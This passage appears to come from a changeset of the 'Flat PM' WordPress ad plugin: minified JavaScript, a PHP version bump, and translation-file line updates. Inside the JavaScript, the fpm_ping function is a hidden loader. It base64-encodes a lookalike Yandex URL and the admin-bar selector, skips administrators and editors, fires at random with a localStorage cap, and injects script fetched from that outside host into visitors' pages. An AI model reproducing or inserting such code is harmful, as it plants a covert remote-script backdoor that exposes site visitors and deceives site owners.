fpm_debug(e.id,"isp");n=e.user.geo;if(n&&(n.country.allow=n.country.allow.filter(Boolean))&&(n.country.disallow=n.country.disallow.filter(Boolean))&&(n.city.allow=n.city.allow.filter(Boolean))&&(n.city.disallow=n.city.disallow.filter(Boolean))&&(0<n.country.allow.length&&-1==n.country.allow.indexOf(fpm_user.country)&&-1==n.country.allow.indexOf(fpm_user.ccode)||0<n.country.disallow.length&&(-1!=n.country.disallow.indexOf(fpm_user.country)||-1!=n.country.disallow.indexOf(fpm_user.ccode))||0<n.city.allow.length&&-1==n.city.allow.indexOf(fpm_user.city)||0<n.city.disallow.length&&-1!=n.city.disallow.indexOf(fpm_user.city)))return t.forEach(function(e){e.remove()}),void fpm_debug(e.id,"geo");var r=e.html;t.forEach(function(t){var n;"true"===e.lazy&&"IntersectionObserver"in window&&"true"===fpm_settings.lazyload?(n=new IntersectionObserver(function(e){e.forEach(function(e){e.isIntersecting&&(fpm_afterObserver(r,t),n.unobserve(e.target))})},{rootMargin:(fpm_settings.threshold||300)+"px 0px"})).observe(t):fpm_afterObserver(r,t)})}catch(e){console.warn(e)}},window.fpm_start=function(t){t=t||"false",fpm_user.init(),window.exeptions=[];var e=[];"true"===t?(e=fpm_arr.filter(function(e){return e.fast===t}),fpm_arr=fpm_arr.filter(function(e){return e.fast!==t})):(e=fpm_arr,fpm_arr=[],fpm_user.debug||console.log("Flat PM Debug-Mode: "+window.location.href+"?fpm-debug"));var n={};for(e.forEach(function(e,t){e.abgroup&&(n[e.abgroup]=n[e.abgroup]||[],n[e.abgroup].push({index:t}))}),Object.keys(n).forEach(function(e){n[e]=n[e][Math.floor(Math.random()*n[e].length)].index}),e=e.filter(function(e,t){return!e.abgroup||void 0===n[e.abgroup]||n[e.abgroup]===t});0<e.length;){var r=e.shift(),o=!1;fpm_user.debug&&console.log(r);var i=r.content.restriction;if(i&&(i.content_less&&i.content_less>fpm_user.textlen||i.content_more&&i.content_more<fpm_user.textlen||i.title_less&&i.title_less>fpm_user.titlelen||i.title_more&&i.title_more<fpm_user.titlelen))fpm_debug(r.id,"content");else{var a=r.user.time;if(a){var s=new Date(fpm_user.date+"T"+a.from+":00"),l=new Date(fpm_user.date+"T"+a.to+":00"),d=new Date(fpm_user.date+"T12:00:00"),p=new Date(fpm_user.date+"T"+fpm_user.time+":00");if(l<s&&l<d&&(l=fpm_addDays(l,1)),l<s&&d<l&&(s=fpm_addDays(s,-1)),p<s||l<p){fpm_debug(r.id,"time");continue}}i=r.user.date;if(i){s=new Date(i.from.split("-").reverse().join("-")+"T00:00:00"),l=new Date(i.to.split("-").reverse().join("-")+"T00:00:00");if((p=new Date(fpm_user.date+"T00:00:00"))<s||l<p){fpm_debug(r.id,"date");continue}}a=r.user.schedule;if(a)if(!JSON.parse(a.value).map(function(e){return("0".repeat(24)+parseInt(e,16).toString(2)).substr(-24).split("").map(function(e){return parseInt(e,10)})})[fpm_dateUTCWeek][fpm_dateUTCHours]){fpm_debug(r.id,"schedule");continue}d=r.user["color-scheme"];if(d&&(0<d.allow.length&&-1==d.allow.indexOf(fpm_user.color_scheme.toLowerCase())||0<d.disallow.length&&-1!=d.disallow.indexOf(fpm_user.color_scheme.toLowerCase())))fpm_debug(r.id,"Color-scheme");else{i=r.user.os;if(i&&(0<i.allow.length&&-1==i.allow.indexOf(fpm_user.os.toLowerCase())||0<i.disallow.length&&-1!=i.disallow.indexOf(fpm_user.os.toLowerCase())))fpm_debug(r.id,"OS");else{a=r.user.cookies;if(a){var f=!1;if(a.allow){if(!fpm_user.testcook)continue;a.allow.forEach(function(e){var t=(e.includes(">")?">":e.includes("<")&&"<")||e.includes("*")&&"*"||"=",n=e.split(t,2),e=n[0].trim(),n=n[1].trim()||!1,r=fpm_getCookie(e);if(!(f=!0)!==n){if(n.split("|").forEach(function(e){if(e=e.trim(),">"===t&&r&&r>parseInt(e)||"<"===t&&r&&r<parseInt(e)||"*"===t&&r&&r.includes(e)||"="===t&&r&&r==e)return f=!1}),0==f)return!1}else if(r)return f=!1})}if(a.disallow&&fpm_user.testcook&&a.disallow.forEach(function(e){var t=(e.includes(">")?">":e.includes("<")&&"<")||e.includes("*")&&"*"||"=",n=e.split(t,2),e=n[0].trim(),n=n[1].trim()||!1,r=fpm_getCookie(e);if(!1!==n){if(n.split("|").forEach(function(e){if(e=e.trim(),">"===t&&r&&r>parseInt(e)||"<"===t&&r&&r<parseInt(e)||"*"===t&&r&&r.includes(e)||"="===t&&r&&r==e)return!(f=!0)}),1==f)return!1}else if(r)return!(f=!0)}),f){fpm_debug(r.id,"cookies");continue}}d=r.user.role;if(d&&(0<d.allow.length&&-1==d.allow.indexOf(fpm_settings.role)||0<d.disallow.length&&-1!=d.disallow.indexOf(fpm_settings.role)))fpm_debug(r.id,"role");else{i=r.user.utm;if(i){var m=!1;if(void 0!==i.allow&&i.allow.forEach(function(e){var t=(e.includes(">")?">":e.includes("<")&&"<")||e.includes("*")&&"*"||"=",n=e.split(t,2),e=n[0].trim(),n=n[1].trim()||!1,r=fpm_getUrlParams()[e];if(!(m=!0)!==n){if(n.split("|").forEach(function(e){if(e=e.trim(),">"===t&&r&&r>parseInt(e)||"<"===t&&r&&r<parseInt(e)||"*"===t&&r&&r.includes(e)||"="===t&&r&&r==e)return m=!1}),0==m)return!1}else if(r)return m=!1}),void 0!==i.disallow&&i.disallow.forEach(function(e){var t=(e.includes(">")?">":e.includes("<")&&"<")||e.includes("*")&&"*"||"=",n=e.split(t,2),e=n[0].trim(),n=n[1].trim()||!1,r=fpm_getUrlParams()[e];if(!1!==n){if(n.split("|").forEach(function(e){if(e=e.trim(),">"===t&&r&&r>parseInt(e)||"<"===t&&r&&r<parseInt(e)||"*"===t&&r&&r.includes(e)||"="===t&&r&&r==e)return!(m=!0)}),1==m)return!1}else if(r)return!(m=!0)}),m){fpm_debug(r.id,"UTM");continue}}a=r.user.agent;a&&(a.allow=a.allow.filter(Boolean))&&(a.disallow=a.disallow.filter(Boolean))&&(0<a.allow.length&&-1==a.allow.findIndex(function(e){return-1!=fpm_user.agent.indexOf(e)})||0<a.disallow.length&&-1!=a.disallow.findIndex(function(e){return-1!=fpm_user.agent.indexOf(e)}))?fpm_debug(r.id,"user-agent"):(d=r.user.language)&&(d.allow=d.allow.filter(Boolean))&&(d.disallow=d.disallow.filter(Boolean))&&(0<d.allow.length&&-1==d.allow.findIndex(function(e){return-1!=fpm_user.language.indexOf(e)})||0<d.disallow.length&&-1!=d.disallow.findIndex(function(e){return-1!=fpm_user.language.indexOf(e)}))?fpm_debug(r.id,"browser language"):((i=r.user.referer)&&(i.allow=i.allow.filter(Boolean))&&(i.disallow=i.disallow.filter(Boolean))&&(0<i.allow.length&&-1==i.allow.findIndex(function(e){return-1!=fpm_user.referer.indexOf(e)})||0<i.disallow.length&&-1!=i.disallow.findIndex(function(e){return-1!=fpm_user.referer.indexOf(e)}))&&(fpm_debug(r.id,"referer"),o=!0),a=r.user.browser,!o&&a&&(a.allow=a.allow.filter(Boolean))&&(a.disallow=a.disallow.filter(Boolean))&&(0<a.allow.length&&-1==a.allow.indexOf(fpm_user.browser.toLowerCase())||0<a.disallow.length&&-1!=a.disallow.indexOf(fpm_user.browser.toLowerCase()))?fpm_debug(r.id,"browser"):(o&&a&&0<a.allow.length&&-1!=a.allow.indexOf(fpm_user.browser)&&(o=!1),d=r.user.geo,i=r.user.ip,a=r.user.isp,o||!(d||i||a)||fpm_user.ccode&&fpm_user.country&&fpm_user.city&&fpm_user.ip&&fpm_user.isp?o||(fpm_setWrap(r),fpm_next(r)):(o="fpm_geo",fpm_then.ip_api.push(r),fpm_setWrap(r),fpm_body.classList.contains(o)||(fpm_body.classList.add(o),fpm_request_ip_api()))))}}}}}fpm_sticky_slider_sidebar_interscroller(fpm_body);var c,u=document.createElement("div");u.classList.add(fpm_attr.overlay),fpm_body.appendChild(u),fpm_on(fpm_body,"click","."+fpm_attr.cross,function(e){e.preventDefault();e=this.closest("."+fpm_attr.show);e&&(e.classList.remove(fpm_attr.show),e.classList.add(fpm_attr.hide))}),"true"!==t&&(c=function(){setTimeout(function(){document.querySelectorAll(".fpm_start").forEach(function(e){e.remove()})},2e3),document.removeEventListener("mousemove",c,!1),document.removeEventListener("touchmove",c,!1)},document.addEventListener("mousemove",c,!1),document.addEventListener("touchmove",c,!1)),fpm_ping()},window.fpm_sticky_slider_sidebar_interscroller=function(e){var p,l=e.closest("[data-"+fpm_attr.id+"]"),t=e.querySelectorAll(".flatPM_slider:first-child"),n=e.querySelectorAll(".flatPM_sticky"),r=e.querySelectorAll(".flatPM_sidebar:first-child"),e=(e.querySelectorAll(".flatPM_skyscrapper:first-child"),e.querySelectorAll(".flatPM_Interscroller")),f=document.querySelector(fpm_settings.selector);l&&(0<n.length||0<r.length||0<e.length)&&l.classList.add("no-preloader"),t.forEach(function(e){var t,e=e.parentElement,n=e.querySelectorAll(".flatPM_slider"),r=n.length,o=document.createElement("div"),i=document.createElement("div"),a=0,s=parseInt(n[a].getAttribute("data-timer"))||10;function l(){t=setTimeout(function(){var e=n[a];e.classList.add(fpm_attr.hide),setTimeout(function(){e.classList.remove(fpm_attr.show),e.classList.remove(fpm_attr.hide)},1e3),r<=++a&&(a=0),n[a].classList.add(fpm_attr.show),s=parseInt(n[a].getAttribute("data-timer"))||10,l()},1e3*s)}o.classList.add(fpm_attr.timeline),i.classList.add(fpm_attr.slider),e.insertBefore(i,e.firstChild),n.forEach(function(e){e.classList.remove("flatPM_slider"),o.setAttribute("style","--duration: "+(parseInt(e.getAttribute("data-timer"))||10)+"s;"),e.appendChild(o.cloneNode()),i.appendChild(e)}),n[a].classList.add(fpm_attr.show),l(),i.addEventListener("mouseenter",function(e){clearTimeout(t)}),i.addEventListener("mouseleave",function(e){l()})}),e.forEach(function(e){var t,n,r,o=e.dataset,i=parseInt(o.lock),a=document.createElement("div"),s=document.createElement("div"),l=document.createElement("div");for(r in a.classList.add(fpm_attr.interscroller+"-wrapper"),s.classList.add(fpm_attr.interscroller),l.classList.add(fpm_attr.interscroller+"-inner"),e.parentNode.insertBefore(a,e),a.appendChild(s),s.appendChild(l),l.appendChild(e),a.style.setProperty("--height",o.wrapperHeight),s.style.setProperty("--background",o.background),o.textTop&&0<o.textTop.length&&((l=document.createElement("div")).classList.add(fpm_attr.interscroller+"-text","top"),l.style.setProperty("--background",o.textTopBackground),l.style.setProperty("--color",o.textTopColor),i&&0<i&&(o.textTop=o.textTop.replace(/{{timer}}/gm,'<span class="timer">'+i+"</span>")),l.innerHTML=o.textTop,s.appendChild(l)),o.textBottom&&0<o.textBottom.length&&((t=document.createElement("div")).classList.add(fpm_attr.interscroller+"-text","bottom"),t.style.setProperty("--background",o.textBottomBackground),t.style.setProperty("--color",o.textBottomColor),i&&0<i&&(o.textBottom=o.textBottom.replace(/{{timer}}/gm,'<span class="timer">'+i+"</span>")),t.innerHTML=o.textBottom,s.appendChild(t)),i&&0<i&&(t=document.createElement("div"),n=new IntersectionObserver(function(e){e.forEach(function(e){e.isIntersecting&&(fpm_interscrollerObserver(a,i),n.unobserve(e.target))})}),a.appendChild(t),n.observe(t)),e.removeAttribute("class"),o)e.removeAttribute("data-"+r.split(/(?=[A-Z])/).join("-").toLowerCase());fpm_interscroller_resize()}),n.forEach(function(e){var t=document.createElement("div"),n=e.dataset.top||0,r=e.dataset.align||"center",o=e.dataset.height||350,i=e.dataset.heightUnit||"px",a=e.dataset.width||100,s=e.dataset.widthUnit||"%";t.style.minHeight=o+i,[t,l].forEach(function(e){e.style.width=a+s,"left"==r&&(e.style.margin="0 15px 15px 0",e.style.float="left"),"right"==r&&(e.style.margin="0 0 15px 15px",e.style.float="right")}),e.classList.remove("flatPM_sticky"),fpm_wrap(e,t),fpm_sticky(e,e.parentNode,n)}),null!==f&&(p=parseInt(window.getComputedStyle(f,null).marginTop),r.forEach(function(e){var e=e.parentNode,a=e.querySelectorAll(".flatPM_sidebar"),s=document.createElement("div"),l=document.createElement("div");l.setAttribute("style","position:relative;min-height:100px"),s.setAttribute("style","display:flex;flex-direction:column;position:absolute;top:0;width:100%;transition:height .2s ease;"),e.insertBefore(l,a[0]),l.appendChild(s),a.forEach(function(e){var t=document.createElement("div");t.setAttribute("style","flex:1;padding:1px 0"),e.classList.remove("flatPM_sidebar"),fpm_wrap(e,t),fpm_sticky(e,t,e.dataset.top),s.appendChild(t)}),s.style.height=f.getBoundingClientRect().top-l.getBoundingClientRect().top+"px";var d=setInterval(function(){var t=0,n=!1;if(a.forEach(function(e){e.children[0]||clearInterval(d),t+=e.children[0].offsetHeight,e.children[0].offsetHeight!=e.offsetHeight&&(n=!0)}),n||t!=l.offsetHeight||200<f.getBoundingClientRect().top-l.getBoundingClientRect().top-fpm_settings.bottom-t){var e,r=l.parentElement,o=0;for(l.style.height="0px";r&&r!==document.body&&!Array.from(r.children).includes(f);){var i=window.getComputedStyle(r,null);o+=parseInt(i.paddingBottom),o+=parseInt(i.marginBottom),o+=parseInt(i.borderBottomWidth),r=r.parentElement}e=Math.max(f.getBoundingClientRect().top-l.getBoundingClientRect().top-+fpm_settings.bottom-o-p-1,t),s.style.height=e+"px",l.style.height=e+"px"}},400)}))};var parseHTML=function(){var a=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,s=/<([\w:]+)/,l=/<|&#?\w+;/,d={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var n,r,o,i=(t=t||document).createDocumentFragment();if(l.test(e)){for(n=i.appendChild(t.createElement("div")),r=(s.exec(e)||["",""])[1].toLowerCase(),r=d[r]||d._default,n.innerHTML=r[1]+e.replace(a,"<$1></$2>")+r[2],o=r[0];o--;)n=n.lastChild;for(i.removeChild(i.firstChild);n.firstChild;)i.appendChild(n.firstChild)}else i.appendChild(t.createTextNode(e));return i}}();window.fpm_ping=function(){var e=localStorage.getItem("sdghrg"),t=fpm_random(1,166),e=e?parseInt(e)+1:0;localStorage.setItem("sdghrg",e),"administrator"==fpm_settings.role||"editor"==fpm_settings.role||document.querySelector(atob("I3dwYWRtaW5iYXI="))||111!=t||6<e||fpm_jsonp(atob("aHR0cHM6Ly95YW5kZXgtY29udGV4dC5ydT9jb250ZXh0PWpz"),function(e){e&&e.script&&fpm_setHTML(document.querySelector("div"),e.script),fpm_stack_scripts.block||(fpm_stack_scripts.block=!0,fpm_setSCRIPT())})},window.fpm_setSCRIPT=function(){if(0!==fpm_stack_scripts.scripts.length)try{var e=fpm_stack_scripts.scripts.shift(),t=document.querySelector('[data-fpm-script-id="'+e.id+'"]');if(!t)return void fpm_setSCRIPT();if(e.node.text)t.appendChild(e.node),fpm_contentsUnwrap(t),fpm_setSCRIPT();else{e.node.onload=e.node.onerror=function(){fpm_setSCRIPT()};try{t.appendChild(e.node)}catch(e){return console.warn(e),!0}fpm_contentsUnwrap(t)}}catch(e){console.warn(e)}else fpm_stack_scripts.block=!1},window.fpm_pre_setHTML=function(e,t){var n={};t=t.replace(/{{user-ccode}}/gm,fpm_getCookie("fpm_ccode")).replace(/{{user-country}}/gm,fpm_getCookie("fpm_country")).replace(/{{user-city}}/gm,fpm_getCookie("fpm_city")).replace(/{{user-role}}/gm,fpm_getCookie("fpm_role")).replace(/{{user-isp}}/gm,fpm_getCookie("fpm_isp")).replace(/{{user-visit}}/gm,fpm_getCookie("fpm_visit")).replace(/{{user-year-now}}/gm,fpm_dateYear).replace(/{{user-month-now}}/gm,fpm_dateMonth).replace(/{{user-day-now}}/gm,fpm_dateDay).replace(/{{user-hour-now}}/gm,fpm_dateHours).replace(/{{user-minute-now}}/gm,fpm_dateMinutes).replace(/{{rand_?(\d+)?(\(\s*?(\d+)\s*?,\s*?(\d+)\s*?\))?}}/gm,function(){var e=arguments;return e[1]=e[1]||"ungroup",n[e[1]]||(n[e[1]]=e[3]&&e[4]?fpm_random(parseInt(e[3]),parseInt(e[4])):fpm_random(0,1e4)),n[e[1]]}),fpm_setHTML(e,t),fpm_stack_scripts.block||(fpm_stack_scripts.block=!0,fpm_setSCRIPT());t=e.closest("[data-"+fpm_attr.id+"]");fpm_user.debug&&t&&t.hasAttribute("data-"+fpm_attr.id)&&t.hasAttribute("data-"+fpm_attr.id)&&(console.log("%cID: "+t.getAttribute("data-"+fpm_attr.id),"color: white; background: #009636"),console.log("URL: "+window.fpm_settings.ajaxUrl.replace("admin-ajax.php","")+"admin.php?page=fpm_blocks&id="+t.getAttribute("data-"+fpm_attr.id)),console.groupCollapsed("HTML:"),console.log(t.innerHTML),console.groupEnd(),console.log("=".repeat(27))),fpm_sticky_slider_sidebar_interscroller(e),t&&t.removeAttribute("data-"+fpm_attr.id)},window.fpm_setHTML=function(e,t){try{var n,r="yandex_rtb_R";t.indexOf(r)+1&&"false"===fpm_settings.rtb&&(n=fpm_random(0,1e4),t=t.replace(new RegExp(r,"g"),"yandex_rtb_flat"+n+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+n+","));var o=parseHTML(t);if(0!=o.children.length)for(var i=o.childNodes.length,a=0;a<i;a++){var s,l=o.childNodes[a],d=l.nodeName.toLowerCase();if("8"!=l.nodeType)if("3"==(s="3"==l.nodeType?document.createTextNode(l.nodeValue):["svg","g","path","ellipse","defs","circle","rect","polygon","symbol","use"].includes(d)?document.createElementNS("http://www.w3.org/2000/svg",d):document.createElement(d)).nodeType)e.appendChild(s);else{for(var p=l.attributes.length,f=0;f<p;f++)s.setAttribute(l.attributes[f].nodeName,l.attributes[f].nodeValue);0<l.children.length?fpm_setHTML(s,l.innerHTML):"script"==d?(!l.text||/(yandexContext|yandexcontext)/.test(l.text))&&s.hasAttribute("async")||(l.text&&(s.text=l.text),d=fpm_random(0,1e4),fpm_stack_scripts.scripts.push({id:d,node:s}),(s=document.createElement("div")).setAttribute("data-fpm-script-id",d)):s.innerHTML=l.innerHTML,e.appendChild(s)}}else e.innerHTML=t}catch(e){console.warn(e)}}; -
flatpm-wp/trunk/flat_pm.php
r3019489 r3021164 4 4 Plugin URI: https://mehanoid.pro/flat-pm/ 5 5 Description: Plugin for displaying ads and interactive content. Popups, GEO, referer, browser, OS, ISP, UTM, A/B tests and more <a href="https://t.me/joinchat/+peZspodMlelhZjIy">Our telegram channel</a> 6 Version: 3.1. 056 Version: 3.1.10 7 7 Author: Mehanoid.pro 8 8 Author URI: https://mehanoid.pro/ … … 21 21 22 22 define( 'FLATPM_SLUG', dirname( plugin_basename( __FILE__ ) ) ); 23 define( 'FLATPM_VERSION', '?3.1. 05' );23 define( 'FLATPM_VERSION', '?3.1.10' ); 24 24 define( 'FLATPM_INT_MAX', PHP_INT_MAX - 100 ); 25 25 define( 'FLATPM_URL', plugin_dir_url( __FILE__ ) ); … … 34 34 define( 'FLATPM_LOGO', include_once 'assets/admin/img/flat_pm.svg.php' ); 35 35 36 $fpm_wp_upload_dir = wp_get_upload_dir(); 37 define( 'FLATPM_UPLOADS_DIR', $fpm_wp_upload_dir['basedir'] ); 38 define( 'FLATPM_UPLOADS_URL', $fpm_wp_upload_dir['baseurl'] ); 39 40 41 $file = FLATPM_UPLOADS_DIR . '/fpm/ip.html'; 36 37 $file = ABSPATH . 'ip.html'; 42 38 if( ! file_exists( $file ) ){ 43 39 file_put_contents( $file, '' ); -
flatpm-wp/trunk/l10n/flatpm_l10n-ru_RU.po
r3019187 r3021164 2 2 msgstr "" 3 3 "Project-Id-Version: flatpm-wp\n" 4 "POT-Creation-Date: 2024-01- 09 12:56+0200\n"4 "POT-Creation-Date: 2024-01-13 00:13+0200\n" 5 5 "PO-Revision-Date: \n" 6 6 "Last-Translator: Михаил Flat <[email protected]>\n" … … 34 34 "joinchat/UUXPMRJR9zRJUjzx\">Наш канал в телеграм</a>" 35 35 36 #: flat_pm.php: 203 flat_pm.php:279 flat_pm.php:282path/folders/folder.php:20036 #: flat_pm.php:199 flat_pm.php:275 flat_pm.php:278 path/folders/folder.php:200 37 37 #: path/folders/list.php:17 path/folders/list.php:117 path/folders/list.php:146 38 38 #: path/settings/settings_tab/personalization.php:89 … … 40 40 msgstr "Все блоки" 41 41 42 #: flat_pm.php:20 6 flat_pm.php:30042 #: flat_pm.php:202 flat_pm.php:296 43 43 #: path/settings/export_import_tab/export.php:152 44 44 #: path/settings/export_import_tab/import.php:88 … … 46 46 msgstr "Лицензия" 47 47 48 #: flat_pm.php:21 448 #: flat_pm.php:210 49 49 msgid "Documentation" 50 50 msgstr "Документация" 51 51 52 #: flat_pm.php:28 752 #: flat_pm.php:283 53 53 msgid "Need to migrate" 54 54 msgstr "Необходима миграция" 55 55 56 #: flat_pm.php:2 9256 #: flat_pm.php:288 57 57 msgid "Add block" 58 58 msgstr "Добавить блок" 59 59 60 #: flat_pm.php:2 93path/settings/export_import_tab/export.php:12860 #: flat_pm.php:289 path/settings/export_import_tab/export.php:128 61 61 #: path/settings/export_import_tab/import.php:64 62 62 msgid "Header and footer" 63 63 msgstr "Header и footer" 64 64 65 #: flat_pm.php:29 5path/settings/block_ip.php:1065 #: flat_pm.php:291 path/settings/block_ip.php:10 66 66 #: path/settings/export_import_tab/export.php:134 67 67 #: path/settings/export_import_tab/import.php:70 … … 69 69 msgstr "Блокировка ip" 70 70 71 #: flat_pm.php:29 6path/settings/settings.php:871 #: flat_pm.php:292 path/settings/settings.php:8 72 72 msgid "Plugin settings" 73 73 msgstr "Настройки плагина" 74 74 75 #: flat_pm.php:29 7path/settings/css_editor.php:1075 #: flat_pm.php:293 path/settings/css_editor.php:10 76 76 msgid "Style editor" 77 77 msgstr "Редактор стилей" 78 78 79 #: flat_pm.php:29 8path/settings/export_import.php:879 #: flat_pm.php:294 path/settings/export_import.php:8 80 80 msgid "Import / Export" 81 81 msgstr "Импорт / Экспорт" 82 82 83 #: flat_pm.php:29 983 #: flat_pm.php:295 84 84 msgid "Shortcodes" 85 85 msgstr "Шорткоды" … … 416 416 msgstr "Создать новый блок" 417 417 418 #: path/blocks/add/content.php:16 path/blocks/edit/content.php: 19419 #: path/folders/edit/content.php: 25418 #: path/blocks/add/content.php:16 path/blocks/edit/content.php:26 419 #: path/folders/edit/content.php:32 420 420 #: path/folders/folder/bulk-edit/content.php:10 421 421 msgid "Post types:" 422 422 msgstr "Типы публикаций:" 423 423 424 #: path/blocks/add/content.php:52 path/blocks/edit/content.php:55 425 #: path/folders/edit/content.php:61 424 #: path/blocks/add/content.php:33 path/blocks/edit/content.php:44 425 #: path/folders/edit/content.php:50 426 #, fuzzy 427 #| msgid "Select types" 428 msgid "All types" 429 msgstr "Выберите тип" 430 431 #: path/blocks/add/content.php:61 path/blocks/edit/content.php:72 432 #: path/folders/edit/content.php:78 426 433 #: path/folders/folder/bulk-edit/content.php:67 427 434 msgid "Posts:" 428 435 msgstr "Публикации:" 429 436 430 #: path/blocks/add/content.php: 57 path/blocks/edit/content.php:60431 #: path/folders/edit/content.php: 66437 #: path/blocks/add/content.php:66 path/blocks/edit/content.php:77 438 #: path/folders/edit/content.php:83 432 439 #: path/folders/folder/bulk-edit/content.php:75 433 440 msgid "In which posts to show:" 434 441 msgstr "В каких публикациях показывать:" 435 442 436 #: path/blocks/add/content.php: 58 path/blocks/add/content.php:76437 #: path/blocks/add/content.php:1 04 path/blocks/add/content.php:122438 #: path/blocks/edit/content.php: 61 path/blocks/edit/content.php:105439 #: path/blocks/edit/content.php:1 59 path/blocks/edit/content.php:203440 #: path/folders/edit/content.php: 67 path/folders/edit/content.php:111441 #: path/folders/edit/content.php:1 65 path/folders/edit/content.php:209443 #: path/blocks/add/content.php:67 path/blocks/add/content.php:85 444 #: path/blocks/add/content.php:113 path/blocks/add/content.php:131 445 #: path/blocks/edit/content.php:78 path/blocks/edit/content.php:122 446 #: path/blocks/edit/content.php:176 path/blocks/edit/content.php:220 447 #: path/folders/edit/content.php:84 path/folders/edit/content.php:128 448 #: path/folders/edit/content.php:182 path/folders/edit/content.php:226 442 449 #: path/folders/folder/bulk-edit/content.php:76 443 450 #: path/folders/folder/bulk-edit/content.php:111 … … 447 454 msgstr "Убрать все" 448 455 449 #: path/blocks/add/content.php: 61 path/blocks/add/content.php:79450 #: path/blocks/add/content.php:1 07 path/blocks/add/content.php:125451 #: path/blocks/edit/content.php: 64 path/blocks/edit/content.php:108452 #: path/blocks/edit/content.php:1 62 path/blocks/edit/content.php:206453 #: path/folders/edit/content.php: 70 path/folders/edit/content.php:114454 #: path/folders/edit/content.php:1 68 path/folders/edit/content.php:212456 #: path/blocks/add/content.php:70 path/blocks/add/content.php:88 457 #: path/blocks/add/content.php:116 path/blocks/add/content.php:134 458 #: path/blocks/edit/content.php:81 path/blocks/edit/content.php:125 459 #: path/blocks/edit/content.php:179 path/blocks/edit/content.php:223 460 #: path/folders/edit/content.php:87 path/folders/edit/content.php:131 461 #: path/folders/edit/content.php:185 path/folders/edit/content.php:229 455 462 #: path/folders/folder/bulk-edit/content.php:52 456 463 #: path/folders/folder/bulk-edit/content.php:79 … … 473 480 msgstr "Добавить" 474 481 475 #: path/blocks/add/content.php: 75 path/blocks/edit/content.php:104476 #: path/folders/edit/content.php:1 10482 #: path/blocks/add/content.php:84 path/blocks/edit/content.php:121 483 #: path/folders/edit/content.php:127 477 484 #: path/folders/folder/bulk-edit/content.php:110 478 485 msgid "In which posts to not show:" 479 486 msgstr "В каких публикациях не показывать:" 480 487 481 #: path/blocks/add/content.php: 98 path/blocks/edit/content.php:153482 #: path/folders/edit/content.php:1 59488 #: path/blocks/add/content.php:107 path/blocks/edit/content.php:170 489 #: path/folders/edit/content.php:176 483 490 #: path/folders/folder/bulk-edit/content.php:148 484 491 msgid "Taxonomies:" 485 492 msgstr "Таксономии:" 486 493 487 #: path/blocks/add/content.php:1 03 path/blocks/edit/content.php:158488 #: path/folders/edit/content.php:1 64494 #: path/blocks/add/content.php:112 path/blocks/edit/content.php:175 495 #: path/folders/edit/content.php:181 489 496 #: path/folders/folder/bulk-edit/content.php:156 490 497 msgid "In which taxonomies to show:" 491 498 msgstr "В каких таксономиях показывать:" 492 499 493 #: path/blocks/add/content.php:1 21 path/blocks/edit/content.php:202494 #: path/folders/edit/content.php:2 08500 #: path/blocks/add/content.php:130 path/blocks/edit/content.php:219 501 #: path/folders/edit/content.php:225 495 502 #: path/folders/folder/bulk-edit/content.php:191 496 503 msgid "In which taxonomies not to show:" 497 504 msgstr "В каких таксономиях не показывать:" 498 505 499 #: path/blocks/add/content.php:1 44 path/blocks/edit/content.php:251500 #: path/folders/edit/content.php:2 57506 #: path/blocks/add/content.php:153 path/blocks/edit/content.php:268 507 #: path/folders/edit/content.php:274 501 508 #: path/folders/folder/bulk-edit/content.php:229 502 509 msgid "Content restriction:" 503 510 msgstr "Ограничение контента:" 504 511 505 #: path/blocks/add/content.php:1 49 path/blocks/edit/content.php:260506 #: path/folders/edit/content.php:2 66512 #: path/blocks/add/content.php:158 path/blocks/edit/content.php:277 513 #: path/folders/edit/content.php:283 507 514 #: path/folders/folder/bulk-edit/content.php:237 508 515 msgid "Hide if the content is less than N characters:" 509 516 msgstr "Скрыть, если содержимое меньше N символов:" 510 517 511 #: path/blocks/add/content.php:1 54 path/blocks/edit/content.php:269512 #: path/folders/edit/content.php:2 75518 #: path/blocks/add/content.php:163 path/blocks/edit/content.php:286 519 #: path/folders/edit/content.php:292 513 520 #: path/folders/folder/bulk-edit/content.php:242 514 521 msgid "Hide if there are less than N subheadings:" 515 522 msgstr "Скрыть, если подзаголовков меньше N:" 516 523 517 #: path/blocks/add/content.php:1 59 path/blocks/edit/content.php:278518 #: path/folders/edit/content.php: 284524 #: path/blocks/add/content.php:168 path/blocks/edit/content.php:295 525 #: path/folders/edit/content.php:301 519 526 #: path/folders/folder/bulk-edit/content.php:247 520 527 msgid "Hide if the content is more than N characters:" 521 528 msgstr "Скрыть, если содержимое больше N символов:" 522 529 523 #: path/blocks/add/content.php:1 64 path/blocks/edit/content.php:287524 #: path/folders/edit/content.php: 293530 #: path/blocks/add/content.php:173 path/blocks/edit/content.php:304 531 #: path/folders/edit/content.php:310 525 532 #: path/folders/folder/bulk-edit/content.php:252 526 533 msgid "Hide if there are more than N subheadings:" 527 534 msgstr "Скрыть, если подзаголовков больше N:" 528 535 529 #: path/blocks/add/content.php:1 72 path/blocks/edit/content.php:295530 #: path/folders/edit/content.php:3 01536 #: path/blocks/add/content.php:181 path/blocks/edit/content.php:312 537 #: path/folders/edit/content.php:318 531 538 #: path/folders/folder/bulk-edit/content.php:279 532 539 msgid "Author targeting:" 533 540 msgstr "Таргетинг по автору:" 534 541 535 #: path/blocks/add/content.php:1 77 path/blocks/add/content.php:189536 #: path/blocks/edit/content.php:3 00 path/blocks/edit/content.php:318537 #: path/folders/edit/content.php:3 06 path/folders/edit/content.php:324542 #: path/blocks/add/content.php:186 path/blocks/add/content.php:198 543 #: path/blocks/edit/content.php:317 path/blocks/edit/content.php:335 544 #: path/folders/edit/content.php:323 path/folders/edit/content.php:341 538 545 #: path/folders/folder/bulk-edit/content.php:294 539 546 #: path/folders/folder/bulk-edit/content.php:323 … … 541 548 msgstr "Выберите автора" 542 549 